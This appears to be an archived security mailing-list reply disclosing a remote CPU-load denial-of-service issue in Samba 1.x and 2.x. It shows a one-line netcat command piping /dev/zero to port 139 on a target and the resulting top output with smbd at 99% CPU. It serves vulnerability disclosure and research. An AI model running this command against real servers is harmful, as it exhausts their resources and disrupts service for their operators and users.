Multiple Platform remote CPU load issue in Samba 1.x and 2.x

[sxdirect at securexpert.com]

Michael,

        Here's what I get (on both sides of the connection) on a RH 6.2 attack
box (my pentium laptop) and an RH 6.2 target running smbd 2.0.6:

Attacker:
[orestes at hiro orestes]$ nc 192.168.31.3 139 < /dev/zero 

Target:
  1:49am  up 17 days, 14:26,  1 user,  load average: 0.34, 0.08, 0.02
50 processes: 48 sleeping, 2 running, 0 zombie, 0 stopped
CPU states: 37.5% user, 62.5% system,  0.0% nice,  0.0% idle
Mem:    62964K av,   44024K used,   18940K free,   12172K shrd,    3956K buff
Swap:  530104K av,    9492K used,  520612K free                   26716K cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT  LIB %CPU %MEM   TIME COMMAND
15704 root      19   0   748  696   576 R       0 99.1  1.1   0:24 smbd
15703 telnet     1   0   860  860   668 R       0  0.7  1.3   0:00 top
[with the rest cut out here]

        What would be causing us to get such different results?  

        Note: We have also seen this on a Samba 1.x on a FreeBSD box; it is
definitely not a linux-specific issue.

                Regards,

                        Mike Murray     
                        FSCInternet / SecureXpert Labs